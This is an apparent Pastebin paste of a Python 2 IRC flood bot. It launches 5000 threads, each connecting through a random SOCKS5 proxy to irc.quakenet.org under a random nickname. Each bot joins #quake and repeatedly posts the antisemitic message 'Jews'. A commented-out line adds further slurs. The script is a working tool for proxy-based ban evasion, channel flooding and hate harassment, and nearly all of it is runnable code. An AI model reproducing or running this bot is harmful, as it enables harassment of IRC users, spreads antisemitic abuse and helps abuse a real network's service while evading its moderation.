Advertisement
Guest User

Untitled

a guest
Sep 20th, 2017
124
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.86 KB | None | 0 0
  1. # Import some usefull stuff
  2. import socks
  3. import random
  4. import threading
  5. import time
  6. import string
  7.  
  8.  
  9. class MyThread(threading.Thread):
  10. def run(self):
  11. ircsock = socks.socksocket()
  12. choice = random.choice(lines)
  13. choice = choice.split(":")
  14. pport = choice[1].replace("\n", "")
  15. pserver = choice[0]
  16.  
  17. try:
  18. ircsock.setproxy(socks.PROXY_TYPE_SOCKS5, pserver, int(pport))
  19. ircsock.connect((server, port))
  20. print("Connecting trough "+ pserver +":"+ str(pport) +"...")
  21. ircsock.send("USER "+ nick +" "+ nick +" * :"+ nick +"\n")
  22. ircsock.send("NICK "+ nick +"\n")
  23. # ircsock.send("JOIN #buffer\n")
  24. # ircsock.send("PRIVMSG #buffer :I will register my nick ("+ nick +") with the password "+ nick +"h and the email "+ nick +"@gmail.com!\n")
  25. #time.sleep(60)
  26. # This will register the nickname.
  27. #ircsock.send("PRIVMSG thugaim :REGISTER "+ nick +"h "+ nick +"@gmail.com\n")
  28. # Joins the channel
  29. ircsock.send("JOIN "+ channel +"\n")
  30.  
  31.  
  32. # Send message about winning!
  33. # ircsock.send("PRIVMSG "+ channel +" :I just registered my nick ("+ nick +") with the password "+ nick +"h and the email "+ nick +"@gmail.com!\n")
  34.  
  35. #ircsock.send("PRIVMSG "+ channel +" : my ignore JihadRape to the moederneuker\n")
  36.  
  37. while 1:
  38. ircmsg = ircsock.recv(1024)
  39. ircmsg = ircmsg.strip('\n\r')
  40. ircmsg = ircmsg.lower()
  41.  
  42. ircsock.send("PRIVMSG "+ channel +" : "+ message +"\n")
  43.  
  44. ircsock.send("NICK "+ nick +"\n")
  45.  
  46. if ircmsg.find("ping :") != -1:
  47. ping = ircmsg.split("ping :")
  48. ircsock.send("PONG "+ ping[1] +"\n")
  49.  
  50. time.sleep(1)
  51. except:
  52. print("Could not connect with the proxy")
  53.  
  54.  
  55. for x in xrange ( 5000 ):
  56. nicklength = random.randint(3,15)
  57. server = "irc.quakenet.org"
  58. port = 6667
  59. nick = "dik".join(random.choice(string.letters) for _ in range(nicklength))
  60. channel = "#quake"
  61. message = "Jews"
  62.  
  63. fil = open("socks5.txt", "r")
  64. lines = fil.readlines()
  65. MyThread().start()
  66. time.sleep(0.02)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement